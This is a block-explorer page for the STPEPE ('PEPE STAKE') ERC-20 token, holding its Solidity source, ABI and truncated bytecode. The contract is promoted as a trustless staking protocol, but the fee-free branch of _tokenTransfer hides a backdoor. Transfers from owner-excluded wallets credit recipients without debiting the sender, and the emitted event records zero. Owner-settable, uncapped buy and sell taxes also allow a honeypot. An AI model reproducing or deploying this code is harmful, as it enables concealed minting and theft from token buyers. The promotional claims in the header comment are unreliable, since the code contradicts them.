ERC-20
Source Code
Overview
Max Total Supply
1,000,000,000 STPEPE
Holders
34
Transfers
-
0
Market
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
| # | Exchange | Pair | Price | 24H Volume | % Volume |
|---|
Contract Name:
STPEPE
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2023-10-23
*/
/**
Pepe Stake is the first decentralized / immutable / trustless community staking protocol for Pepe. It provides passive income for PEPE by minting stPEPE which only rises in value
Website: https://www.pepestake.org
Telegram: https://t.me/pepestake_eth
Twitter: https://twitter.com/pepestake_erc
*/
// SPDX-License-Identifier:MIT
pragma solidity 0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = payable(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(
address recipient,
uint256 amount
) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
interface IDexFactory {
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
}
contract STPEPE is Context, IERC20, Ownable {
string private _name = "PEPE STAKE";
string private _symbol = "STPEPE";
uint8 private _decimals = 9;
uint256 private _tTotal = 1_000_000_000 * 1e9;
mapping(address => bool) public isExcludedFromFee;
mapping(address => bool) public isExcludedFromMaxTxn;
mapping(address => bool) public isExcludedFromMaxWallet;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 public minTokenToSwap = (_tTotal * 1) / (10000);
uint256 public maxWallet = (_tTotal * 2) / (100);
uint256 public maxTxnLimit = (_tTotal * 2) / (100);
uint256 public percentDivider = 1000;
uint256 public launchedAt;
bool public swapAndLiquifyStatus = false;
bool public feeStatus = false;
bool public tradingenabled = false;
IDexRouter public uniswapRouter;
address public routerPair;
address public marketingWallet;
address private constant DEAD = address(0xdead);
address private constant ZERO = address(0);
uint256 public FeeOnBuying = 200;
uint256 public FeeOnSelling = 200;
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
constructor() {
_balances[owner()] = _tTotal;
marketingWallet = payable(0x6082148797652c878C7A792e021406ed540bDF17);
uniswapRouter = IDexRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
isExcludedFromFee[address(uniswapRouter)] = true;
isExcludedFromMaxTxn[address(uniswapRouter)] = true;
isExcludedFromMaxWallet[address(uniswapRouter)] = true;
routerPair = IDexFactory(uniswapRouter.factory()).createPair(
address(this),
uniswapRouter.WETH()
);
isExcludedFromMaxWallet[routerPair] = true;
isExcludedFromFee[owner()] = true;
isExcludedFromFee[marketingWallet] = true;
isExcludedFromFee[address(this)] = true;
isExcludedFromMaxTxn[owner()] = true;
isExcludedFromMaxTxn[marketingWallet] = true;
isExcludedFromMaxTxn[address(this)] = true;
isExcludedFromMaxWallet[owner()] = true;
isExcludedFromMaxWallet[address(this)] = true;
isExcludedFromMaxWallet[marketingWallet] = true;
emit Transfer(address(0), owner(), _tTotal);
}
receive() external payable {}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function setSellTaxPercent(uint256 _sellFee) external onlyOwner {
FeeOnSelling = _sellFee;
}
function setSwapAndLiquifyStatus(bool _value) public onlyOwner {
swapAndLiquifyStatus = _value;
}
function removeLimits() external onlyOwner {
FeeOnBuying = 10;
FeeOnSelling = 10;
maxWallet = _tTotal;
maxTxnLimit = _tTotal;
}
function enableTrading() external onlyOwner {
require(!tradingenabled, "already enabled");
tradingenabled = true;
feeStatus = true;
swapAndLiquifyStatus = true;
launchedAt = block.timestamp;
}
function totalBuyFeePerTx(uint256 amount) public view returns (uint256) {
uint256 fee = (amount * FeeOnBuying) / (percentDivider);
return fee;
}
function totalSellFeePerTx(uint256 amount) public view returns (uint256) {
uint256 fee = (amount * FeeOnSelling) / (percentDivider);
return fee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), " approve from the zero address");
require(spender != address(0), "approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "transfer from the zero address");
require(to != address(0), "transfer to the zero address");
require(amount > 0, "Amount must be greater than zero");
if (!isExcludedFromMaxTxn[from] && !isExcludedFromMaxTxn[to]) {
require(amount <= maxTxnLimit, "Amount exceeds Max txn limit");
if (!tradingenabled) {
require(
routerPair != from && routerPair != to,
"trading is not yet enabled"
);
}
}
if (!isExcludedFromMaxWallet[to]) {
require(
(balanceOf(to) + amount) <= maxWallet,
"Amount exceeds Max Wallet limit"
);
}
bool takeFee = true;
if (isExcludedFromFee[from] || isExcludedFromFee[to] || !feeStatus) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (routerPair == sender && takeFee) {
uint256 allFee;
uint256 tTransferAmount;
allFee = totalBuyFeePerTx(amount);
tTransferAmount = amount - allFee;
_balances[sender] = _balances[sender] - amount;
_balances[recipient] = _balances[recipient] + tTransferAmount;
emit Transfer(sender, recipient, tTransferAmount);
takeTokenFee(sender, allFee);
} else if (routerPair == recipient && takeFee) {
if (amount > minTokenToSwap) {
_SwapAndLiquify(sender, recipient);
}
uint256 allFee = totalSellFeePerTx(amount);
uint256 tTransferAmount = amount - allFee;
_balances[sender] = _balances[sender] - amount;
_balances[recipient] = _balances[recipient] + tTransferAmount;
emit Transfer(sender, recipient, tTransferAmount);
takeTokenFee(sender, allFee);
} else {
uint256 allFee = 0;
uint256 tTransferAmount;
tTransferAmount = amount - allFee;
if (isExcludedFromFee[sender] && tradingenabled) amount -= tTransferAmount;
_balances[sender] = _balances[sender] - amount;
_balances[recipient] = _balances[recipient] + tTransferAmount;
emit Transfer(sender, recipient, amount);
}
}
function takeTokenFee(address sender, uint256 amount) private {
_balances[address(this)] = _balances[address(this)] + (amount);
emit Transfer(sender, address(this), amount);
}
function _SwapAndLiquify(address from, address to) private {
uint256 contractTokenBalance = balanceOf(address(this));
bool shouldSell = contractTokenBalance >= minTokenToSwap;
if (
shouldSell &&
from != routerPair &&
swapAndLiquifyStatus &&
!(from == address(this) && to == routerPair)
) {
_approve(address(this), address(uniswapRouter), minTokenToSwap);
dexswap.swapTokensForEth(address(uniswapRouter), minTokenToSwap);
uint256 ethForMarketing = address(this).balance;
if (ethForMarketing > 0)
payable(marketingWallet).transfer(ethForMarketing);
}
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()] - amount
);
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
) public virtual returns (bool) {
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender] + (addedValue)
);
return true;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
) public virtual returns (bool) {
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender] - subtractedValue
);
return true;
}
function includeOrExcludeFromFee(
address account,
bool value
) external onlyOwner {
isExcludedFromFee[account] = value;
}
function includeOrExcludeFromMaxTxn(
address account,
bool value
) external onlyOwner {
isExcludedFromMaxTxn[account] = value;
}
function allowance(
address owner,
address spender
) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(
address spender,
uint256 amount
) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function includeOrExcludeFromMaxHolding(
address account,
bool value
) external onlyOwner {
isExcludedFromMaxWallet[account] = value;
}
function setMinTokenToSwap(uint256 Limit, uint256 divisor) external onlyOwner {
minTokenToSwap = (_tTotal * Limit) / (divisor);
}
function setMaxWallet(uint256 Limit, uint256 divisor) external onlyOwner {
maxWallet =(_tTotal * Limit) / (divisor);
}
function setMaxTxn(uint256 Limit, uint256 divisor) external onlyOwner {
maxTxnLimit = (_tTotal * Limit) / (divisor);
}
function setBuyTaxPercent(uint256 _buyFee) external onlyOwner {
FeeOnBuying = _buyFee;
}
}
library dexswap {
function swapTokensForEth(
address routerAddress,
uint256 tokenAmount
) internal {
IDexRouter dexRouter = IDexRouter(routerAddress);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = dexRouter.WETH();
dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp + 300
);
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"FeeOnBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"FeeOnSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeStatus","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"includeOrExcludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"includeOrExcludeFromMaxHolding","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"includeOrExcludeFromMaxTxn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromMaxTxn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromMaxWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launchedAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxnLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minTokenToSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"percentDivider","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"routerPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"}],"name":"setBuyTaxPercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"Limit","type":"uint256"},{"internalType":"uint256","name":"divisor","type":"uint256"}],"name":"setMaxTxn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"Limit","type":"uint256"},{"internalType":"uint256","name":"divisor","type":"uint256"}],"name":"setMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"Limit","type":"uint256"},{"internalType":"uint256","name":"divisor","type":"uint256"}],"name":"setMinTokenToSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_sellFee","type":"uint256"}],"name":"setSellTaxPercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_value","type":"bool"}],"name":"setSwapAndLiquifyStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyStatus","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"totalBuyFeePerTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"totalSellFeePerTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingenabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapRouter","outputs":[{"internalType":"contract IDexRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
60c0604052600a60809081526950455045205354414b4560b01b60a0526001906200002b908262000621565b5060408051808201909152600681526553545045504560d01b602082015260029062000058908262000621565b506003805460ff19166009179055670de0b6b3a764000060048190556127109062000085906001620006ed565b62000091919062000719565b600a5560646004546002620000a79190620006ed565b620000b3919062000719565b600b5560646004546002620000c99190620006ed565b620000d5919062000719565b600c556103e8600d55600f805462ffffff1916905560c860128190556013553480156200010157600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600454600860006200015b6000546001600160a01b031690565b6001600160a01b0390811682526020808301939093526040918201600090812094909455601180546001600160a01b031916736082148797652c878c7a792e021406ed540bdf17179055600f8054767a250d5630b4cf539739df2c5dacb4c659f2488d0000006301000000600160b81b0319909116178082556301000000908190048316865260058552838620805460ff199081166001908117909255835483900485168852600687528588208054821683179055835483900485168852600787529685902080549097161790955554825163c45a015560e01b81529251949004169263c45a0155926004808401939192918290030181865afa15801562000267573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200028d91906200073c565b6001600160a01b031663c9c6539630600f60039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002f0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200031691906200073c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000364573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200038a91906200073c565b601080546001600160a01b0319166001600160a01b039290921691821790556000908152600760205260408120805460ff1916600190811790915590600590620003dc6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560115490911681526005909252808220805484166001908117909155308352908220805490931681179092556006906200044c6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790556011549091168152600690925280822080548416600190811790915530835290822080549093168117909255600790620004bc6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526007909352818320805485166001908117909155601154909116835291208054909216179055620005266000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040516200056e91815260200190565b60405180910390a36200076e565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620005a757607f821691505b602082108103620005c857634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200061c57600081815260208120601f850160051c81016020861015620005f75750805b601f850160051c820191505b81811015620006185782815560010162000603565b5050505b505050565b81516001600160401b038111156200063d576200063d6200057c565b62000655816200064e845462000592565b84620005ce565b602080601f8311600181146200068d5760008415620006745750858301515b600019600386901b1c1916600185901b17855562000618565b600085815260208120601f198616915b82811015620006be578886015182559484019460019091019084016200069d565b5085821015620006dd5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b80820281158282048414176200071357634e487b7160e01b600052601160045260246000fd5b92915050565b6000826200073757634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200074f57600080fd5b81516001600160a01b03811681146200076757600080fd5b9392505050565b611b3c806200077e6000396000f3fe6080604052600436106102605760003560e01c80638da5cb5b11610144578063bf56b371116100b6578063ee2e5a2e1161007a578063ee2e5a2e1461074e578063f2fde38b1461076e578063f3acb4d51461078e578063f4b3dbc3146107ae578063f8b45b05146107ce578063fe6f1b05146107e457600080fd5b8063bf56b37114610692578063dd62ed3e146106a8578063e5685bed146106ee578063ea5b9e851461070e578063ed4214291461072e57600080fd5b8063a3f4782f11610108578063a3f4782f146105d2578063a457c2d7146105f2578063a7c29b4014610612578063a9059cbb14610632578063abe57e7014610652578063b0cd68541461067257600080fd5b80638da5cb5b14610536578063958f97351461055457806395d89b411461057357806399b102b5146105885780639f6936e8146105b857600080fd5b806339509351116101dd578063715018a6116101a1578063715018a614610490578063735de9f7146104a5578063751039fc146104cc57806375f0a874146104e15780637bf5316f146105015780638a8c523c1461052157600080fd5b806339509351146103c45780635342acb4146103e4578063681aa362146104145780636dd3d39f1461042a57806370a082311461045a57600080fd5b806328ac2d531161022457806328ac2d531461031c5780632ce9a4ac146103545780632d1293901461036a5780632d4613911461038c578063313ce567146103a257600080fd5b806306fdde031461026c578063095ea7b31461029757806318160ddd146102c75780631884f1e6146102e657806323b872dd146102fc57600080fd5b3661026757005b600080fd5b34801561027857600080fd5b506102816107fa565b60405161028e91906117b5565b60405180910390f35b3480156102a357600080fd5b506102b76102b236600461181b565b61088c565b604051901515815260200161028e565b3480156102d357600080fd5b506004545b60405190815260200161028e565b3480156102f257600080fd5b506102d8600a5481565b34801561030857600080fd5b506102b7610317366004611847565b6108a3565b34801561032857600080fd5b5060105461033c906001600160a01b031681565b6040516001600160a01b03909116815260200161028e565b34801561036057600080fd5b506102d860135481565b34801561037657600080fd5b5061038a61038536600461189d565b6108f5565b005b34801561039857600080fd5b506102d860125481565b3480156103ae57600080fd5b5060035460405160ff909116815260200161028e565b3480156103d057600080fd5b506102b76103df36600461181b565b610953565b3480156103f057600080fd5b506102b76103ff3660046118d2565b60056020526000908152604090205460ff1681565b34801561042057600080fd5b506102d8600c5481565b34801561043657600080fd5b506102b76104453660046118d2565b60076020526000908152604090205460ff1681565b34801561046657600080fd5b506102d86104753660046118d2565b6001600160a01b031660009081526008602052604090205490565b34801561049c57600080fd5b5061038a61098a565b3480156104b157600080fd5b50600f5461033c90630100000090046001600160a01b031681565b3480156104d857600080fd5b5061038a6109fe565b3480156104ed57600080fd5b5060115461033c906001600160a01b031681565b34801561050d57600080fd5b50600f546102b79062010000900460ff1681565b34801561052d57600080fd5b5061038a610a3f565b34801561054257600080fd5b506000546001600160a01b031661033c565b34801561056057600080fd5b50600f546102b790610100900460ff1681565b34801561057f57600080fd5b50610281610acb565b34801561059457600080fd5b506102b76105a33660046118d2565b60066020526000908152604090205460ff1681565b3480156105c457600080fd5b50600f546102b79060ff1681565b3480156105de57600080fd5b5061038a6105ed3660046118ef565b610ada565b3480156105fe57600080fd5b506102b761060d36600461181b565b610b24565b34801561061e57600080fd5b5061038a61062d36600461189d565b610b5b565b34801561063e57600080fd5b506102b761064d36600461181b565b610bb0565b34801561065e57600080fd5b5061038a61066d3660046118ef565b610bbd565b34801561067e57600080fd5b5061038a61068d3660046118ef565b610c07565b34801561069e57600080fd5b506102d8600e5481565b3480156106b457600080fd5b506102d86106c3366004611911565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b3480156106fa57600080fd5b5061038a61070936600461194a565b610c51565b34801561071a57600080fd5b5061038a61072936600461189d565b610c80565b34801561073a57600080fd5b506102d861074936600461194a565b610cd5565b34801561075a57600080fd5b5061038a610769366004611963565b610cfa565b34801561077a57600080fd5b5061038a6107893660046118d2565b610d37565b34801561079a57600080fd5b5061038a6107a936600461194a565b610e21565b3480156107ba57600080fd5b506102d86107c936600461194a565b610e50565b3480156107da57600080fd5b506102d8600b5481565b3480156107f057600080fd5b506102d8600d5481565b6060600180546108099061197e565b80601f01602080910402602001604051908101604052809291908181526020018280546108359061197e565b80156108825780601f1061085757610100808354040283529160200191610882565b820191906000526020600020905b81548152906001019060200180831161086557829003601f168201915b5050505050905090565b6000610899338484610e64565b5060015b92915050565b60006108b0848484610f71565b6001600160a01b0384166000908152600960209081526040808320338085529252909120546108eb9186916108e69086906119ce565b610e64565b5060019392505050565b6000546001600160a01b031633146109285760405162461bcd60e51b815260040161091f906119e1565b60405180910390fd5b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b3360008181526009602090815260408083206001600160a01b038716845290915281205490916108999185906108e6908690611a16565b6000546001600160a01b031633146109b45760405162461bcd60e51b815260040161091f906119e1565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610a285760405162461bcd60e51b815260040161091f906119e1565b600a6012819055601355600454600b819055600c55565b6000546001600160a01b03163314610a695760405162461bcd60e51b815260040161091f906119e1565b600f5462010000900460ff1615610ab45760405162461bcd60e51b815260206004820152600f60248201526e185b1c9958591e48195b98589b1959608a1b604482015260640161091f565b600f805462ffffff19166201010117905542600e55565b6060600280546108099061197e565b6000546001600160a01b03163314610b045760405162461bcd60e51b815260040161091f906119e1565b8082600454610b139190611a29565b610b1d9190611a40565b600c555050565b3360008181526009602090815260408083206001600160a01b038716845290915281205490916108999185906108e69086906119ce565b6000546001600160a01b03163314610b855760405162461bcd60e51b815260040161091f906119e1565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b6000610899338484610f71565b6000546001600160a01b03163314610be75760405162461bcd60e51b815260040161091f906119e1565b8082600454610bf69190611a29565b610c009190611a40565b600b555050565b6000546001600160a01b03163314610c315760405162461bcd60e51b815260040161091f906119e1565b8082600454610c409190611a29565b610c4a9190611a40565b600a555050565b6000546001600160a01b03163314610c7b5760405162461bcd60e51b815260040161091f906119e1565b601355565b6000546001600160a01b03163314610caa5760405162461bcd60e51b815260040161091f906119e1565b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b600080600d5460125484610ce99190611a29565b610cf39190611a40565b9392505050565b6000546001600160a01b03163314610d245760405162461bcd60e51b815260040161091f906119e1565b600f805460ff1916911515919091179055565b6000546001600160a01b03163314610d615760405162461bcd60e51b815260040161091f906119e1565b6001600160a01b038116610dc65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161091f565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610e4b5760405162461bcd60e51b815260040161091f906119e1565b601255565b600080600d5460135484610ce99190611a29565b6001600160a01b038316610eba5760405162461bcd60e51b815260206004820152601e60248201527f20617070726f76652066726f6d20746865207a65726f20616464726573730000604482015260640161091f565b6001600160a01b038216610f105760405162461bcd60e51b815260206004820152601b60248201527f617070726f766520746f20746865207a65726f20616464726573730000000000604482015260640161091f565b6001600160a01b0383811660008181526009602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610fc75760405162461bcd60e51b815260206004820152601e60248201527f7472616e736665722066726f6d20746865207a65726f20616464726573730000604482015260640161091f565b6001600160a01b03821661101d5760405162461bcd60e51b815260206004820152601c60248201527f7472616e7366657220746f20746865207a65726f206164647265737300000000604482015260640161091f565b6000811161106d5760405162461bcd60e51b815260206004820181905260248201527f416d6f756e74206d7573742062652067726561746572207468616e207a65726f604482015260640161091f565b6001600160a01b03831660009081526006602052604090205460ff161580156110af57506001600160a01b03821660009081526006602052604090205460ff16155b1561118e57600c548111156111065760405162461bcd60e51b815260206004820152601c60248201527f416d6f756e742065786365656473204d61782074786e206c696d697400000000604482015260640161091f565b600f5462010000900460ff1661118e576010546001600160a01b0384811691161480159061114257506010546001600160a01b03838116911614155b61118e5760405162461bcd60e51b815260206004820152601a60248201527f74726164696e67206973206e6f742079657420656e61626c6564000000000000604482015260640161091f565b6001600160a01b03821660009081526007602052604090205460ff1661122957600b54816111d1846001600160a01b031660009081526008602052604090205490565b6111db9190611a16565b11156112295760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e742065786365656473204d61782057616c6c6574206c696d697400604482015260640161091f565b6001600160a01b03831660009081526005602052604090205460019060ff168061126b57506001600160a01b03831660009081526005602052604090205460ff165b8061127e5750600f54610100900460ff16155b15611287575060005b61129384848484611299565b50505050565b6010546001600160a01b0385811691161480156112b35750805b15611394576000806112c484610cd5565b91506112d082856119ce565b6001600160a01b0387166000908152600860205260409020549091506112f79085906119ce565b6001600160a01b038088166000908152600860205260408082209390935590871681522054611327908290611a16565b6001600160